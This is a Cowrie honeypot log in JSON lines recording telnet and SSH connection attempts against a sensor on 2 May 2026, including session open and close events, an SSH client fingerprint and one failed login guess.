{"eventid":"cowrie.session.closed","duration":35.12370705604553,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:55.689321Z","src_ip":"62.210.97.77","session":"a4e8f5a8d919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.5492639541626,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:56.098762Z","src_ip":"134.209.8.29","session":"4f656996c751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:56.409216Z","src_ip":"156.232.13.218","session":"e73338f38349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.634427547454834,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:59.883951Z","src_ip":"65.60.27.33","session":"05acbb78e23c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.21974182128906,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:00.150713Z","src_ip":"62.210.97.77","session":"f6da1173872b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.791539430618286,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:00.373867Z","src_ip":"62.210.97.77","session":"6ea5864108be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.222.235.212","src_port":9242,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8c490869ff3","protocol":"telnet","message":"New connection: 106.222.235.212:9242 (10.17.0.5:23) [session: a8c490869ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:00.543754Z"}
{"eventid":"cowrie.session.closed","duration":35.73940420150757,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:00.583808Z","src_ip":"62.210.97.77","session":"1f12ea78440c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41904,"dst_ip":"10.17.0.5","dst_port":23,"session":"c697de1f9cc2","protocol":"telnet","message":"New connection: 62.210.97.77:41904 (10.17.0.5:23) [session: c697de1f9cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:00.591479Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41906,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbec15ef4a43","protocol":"telnet","message":"New connection: 62.210.97.77:41906 (10.17.0.5:23) [session: cbec15ef4a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:01.096564Z"}
{"eventid":"cowrie.session.closed","duration":39.896618366241455,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:02.392997Z","src_ip":"62.210.97.77","session":"50b3b8b2fac2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.243765115737915,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:08.007447Z","src_ip":"65.60.27.33","session":"6f840d3a7461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58804,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bae90ad784a","protocol":"telnet","message":"New connection: 65.60.27.33:58804 (10.17.0.5:23) [session: 5bae90ad784a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:08.353561Z"}
{"eventid":"cowrie.session.closed","duration":36.73380780220032,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:10.540118Z","src_ip":"65.60.27.33","session":"fd5d2c83d15a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42036,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dcc4ecaf291","protocol":"telnet","message":"New connection: 62.210.97.77:42036 (10.17.0.5:23) [session: 5dcc4ecaf291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:10.744920Z"}
{"eventid":"cowrie.session.closed","duration":37.39593243598938,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:11.348375Z","src_ip":"62.210.97.77","session":"fb820f65f6b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.49212050437927,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:11.897825Z","src_ip":"62.210.97.77","session":"fce320c57f21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.22417855262756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:13.487369Z","src_ip":"62.210.97.77","session":"3c14711123a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.5802686214447,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:13.584074Z","src_ip":"62.210.97.77","session":"f3c17dca16ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.13759160041809,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:13.681205Z","src_ip":"106.222.235.212","session":"a8c490869ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff471bb2815","protocol":"telnet","message":"New connection: 62.210.97.77:42044 (10.17.0.5:23) [session: 8ff471bb2815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:13.984752Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42048,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccfd37db9f07","protocol":"telnet","message":"New connection: 62.210.97.77:42048 (10.17.0.5:23) [session: ccfd37db9f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:14.050744Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42054,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f3055ce671f","protocol":"telnet","message":"New connection: 62.210.97.77:42054 (10.17.0.5:23) [session: 6f3055ce671f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:14.540635Z"}
{"eventid":"cowrie.session.closed","duration":33.24171185493469,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:15.054526Z","src_ip":"62.210.97.77","session":"39b6ca70e59d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.49297046661377,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:15.107479Z","src_ip":"62.210.97.77","session":"63212a34a5ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.83048129081726,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:15.298862Z","src_ip":"62.210.97.77","session":"94ff8f7d5818","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42068,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bc3285a65ba","protocol":"telnet","message":"New connection: 62.210.97.77:42068 (10.17.0.5:23) [session: 4bc3285a65ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:15.746647Z"}
{"eventid":"cowrie.session.closed","duration":34.3264946937561,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:16.789931Z","src_ip":"62.210.97.77","session":"d211967a6b9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.30521750450134,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:17.874579Z","src_ip":"62.210.97.77","session":"96d05343e235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52646,"dst_ip":"10.17.0.5","dst_port":23,"session":"a84fceb9ddea","protocol":"telnet","message":"New connection: 165.232.131.181:52646 (10.17.0.5:23) [session: a84fceb9ddea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:18.309894Z"}
{"eventid":"cowrie.session.closed","duration":33.35087060928345,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:19.475073Z","src_ip":"62.210.97.77","session":"356f66b375ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44662,"dst_ip":"10.17.0.5","dst_port":23,"session":"f55d305a00ff","protocol":"telnet","message":"New connection: 65.60.27.33:44662 (10.17.0.5:23) [session: f55d305a00ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:20.855259Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55402,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ba15384f72e","protocol":"telnet","message":"New connection: 62.210.97.77:55402 (10.17.0.5:23) [session: 3ba15384f72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:20.889616Z"}
{"eventid":"cowrie.session.closed","duration":33.159260988235474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:21.670421Z","src_ip":"62.210.97.77","session":"5a0ec32aed90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48358631134033,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:21.760938Z","src_ip":"62.210.97.77","session":"38d4dafa5738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.083112716674805,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:22.367341Z","src_ip":"62.210.97.77","session":"c333e735851a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.149195432662964,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:23.317904Z","src_ip":"62.210.97.77","session":"9e702f3fddfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.85262656211853,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:24.159158Z","src_ip":"38.54.119.93","session":"17146401e2d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55414,"dst_ip":"10.17.0.5","dst_port":23,"session":"857379723776","protocol":"telnet","message":"New connection: 62.210.97.77:55414 (10.17.0.5:23) [session: 857379723776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:24.359345Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55986,"dst_ip":"10.17.0.5","dst_port":23,"session":"45681e19e3ff","protocol":"telnet","message":"New connection: 165.232.131.181:55986 (10.17.0.5:23) [session: 45681e19e3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:24.913257Z"}
{"eventid":"cowrie.session.closed","duration":35.314268589019775,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:25.083017Z","src_ip":"62.210.97.77","session":"5a42437a87c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55416,"dst_ip":"10.17.0.5","dst_port":23,"session":"70dc82788f80","protocol":"telnet","message":"New connection: 62.210.97.77:55416 (10.17.0.5:23) [session: 70dc82788f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:25.142944Z"}
{"eventid":"cowrie.session.closed","duration":30.744464874267578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:26.311818Z","src_ip":"62.210.97.77","session":"7cc43d974735","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.822776317596436,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:26.672612Z","src_ip":"165.232.131.181","session":"4a762781f33a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57314,"dst_ip":"10.17.0.5","dst_port":23,"session":"de06ac481b11","protocol":"telnet","message":"New connection: 165.232.131.181:57314 (10.17.0.5:23) [session: de06ac481b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:27.965301Z"}
{"eventid":"cowrie.session.closed","duration":34.879295110702515,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:29.251088Z","src_ip":"62.210.97.77","session":"605ec399aa0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36016,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d2324b513cb","protocol":"telnet","message":"New connection: 62.210.97.77:36016 (10.17.0.5:23) [session: 5d2324b513cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:32.268220Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36026,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1672f629afa","protocol":"telnet","message":"New connection: 62.210.97.77:36026 (10.17.0.5:23) [session: b1672f629afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:34.238466Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60016,"dst_ip":"10.17.0.5","dst_port":23,"session":"762d1dc567e7","protocol":"telnet","message":"New connection: 65.60.27.33:60016 (10.17.0.5:23) [session: 762d1dc567e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:34.573238Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60818,"dst_ip":"10.17.0.5","dst_port":23,"session":"648b837f1fdf","protocol":"telnet","message":"New connection: 65.60.27.33:60818 (10.17.0.5:23) [session: 648b837f1fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:36.101645Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34408,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b9b8ab12f8","protocol":"telnet","message":"New connection: 65.60.27.33:34408 (10.17.0.5:23) [session: 55b9b8ab12f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:36.855780Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35662,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1ff7c5b743a","protocol":"telnet","message":"New connection: 65.60.27.33:35662 (10.17.0.5:23) [session: e1ff7c5b743a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:37.927891Z"}
{"eventid":"cowrie.session.closed","duration":37.546475887298584,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:38.137857Z","src_ip":"62.210.97.77","session":"c697de1f9cc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33682,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7e9e9b66f1f","protocol":"telnet","message":"New connection: 165.232.131.181:33682 (10.17.0.5:23) [session: b7e9e9b66f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:39.340323Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46564,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eaa02b22c78","protocol":"telnet","message":"New connection: 38.54.119.93:46564 (10.17.0.5:23) [session: 7eaa02b22c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:39.406879Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56220,"dst_ip":"10.17.0.5","dst_port":23,"session":"73f5ce1ed7f0","protocol":"telnet","message":"New connection: 62.210.97.77:56220 (10.17.0.5:23) [session: 73f5ce1ed7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:40.631290Z"}
{"eventid":"cowrie.session.closed","duration":3.082000494003296,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:42.488815Z","src_ip":"38.54.119.93","session":"7eaa02b22c78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.71579623222351,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:43.069217Z","src_ip":"65.60.27.33","session":"5bae90ad784a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.933366775512695,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:44.029782Z","src_ip":"62.210.97.77","session":"cbec15ef4a43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56226,"dst_ip":"10.17.0.5","dst_port":23,"session":"53979a58530c","protocol":"telnet","message":"New connection: 62.210.97.77:56226 (10.17.0.5:23) [session: 53979a58530c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:44.723126Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":49620,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb8ac23f139e","protocol":"ssh","message":"New connection: 156.232.13.218:49620 (10.17.0.5:22) [session: cb8ac23f139e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:44.873051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:44.879869Z","src_ip":"156.232.13.218","session":"cb8ac23f139e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:44.952752Z","src_ip":"156.232.13.218","session":"cb8ac23f139e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1234qwer","message":"login attempt [postgres/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:45.290744Z","src_ip":"156.232.13.218","session":"cb8ac23f139e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85708284378052,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:45.601903Z","src_ip":"62.210.97.77","session":"5dcc4ecaf291","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:46.364770Z","src_ip":"156.232.13.218","session":"cb8ac23f139e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.270326375961304,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:47.254955Z","src_ip":"62.210.97.77","session":"8ff471bb2815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84779930114746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:48.894738Z","src_ip":"62.210.97.77","session":"ccfd37db9f07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38907980918884,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:49.929579Z","src_ip":"62.210.97.77","session":"6f3055ce671f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51160,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b0e2c54566e","protocol":"telnet","message":"New connection: 65.60.27.33:51160 (10.17.0.5:23) [session: 9b0e2c54566e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:52.418325Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40510,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aa79fd84e44","protocol":"telnet","message":"New connection: 165.232.131.181:40510 (10.17.0.5:23) [session: 1aa79fd84e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:52.755810Z"}
{"eventid":"cowrie.session.closed","duration":32.90199136734009,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:53.791478Z","src_ip":"62.210.97.77","session":"3ba15384f72e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.35884380340576,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:54.105355Z","src_ip":"62.210.97.77","session":"4bc3285a65ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57002,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b08abdc9ba","protocol":"telnet","message":"New connection: 134.209.8.29:57002 (159.203.135.109:23) [session: 90b08abdc9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:55.516788Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57014,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7caaff28c8c","protocol":"telnet","message":"New connection: 134.209.8.29:57014 (159.203.135.109:23) [session: f7caaff28c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:55.890846Z"}
{"eventid":"cowrie.session.closed","duration":32.11421489715576,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:56.473459Z","src_ip":"62.210.97.77","session":"857379723776","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57012,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aaadbc340ab","protocol":"telnet","message":"New connection: 134.209.8.29:57012 (159.203.135.109:23) [session: 8aaadbc340ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:56.775209Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58844,"dst_ip":"10.17.0.5","dst_port":23,"session":"84e1112e9be5","protocol":"telnet","message":"New connection: 65.60.27.33:58844 (10.17.0.5:23) [session: 84e1112e9be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:39:58.364430Z"}
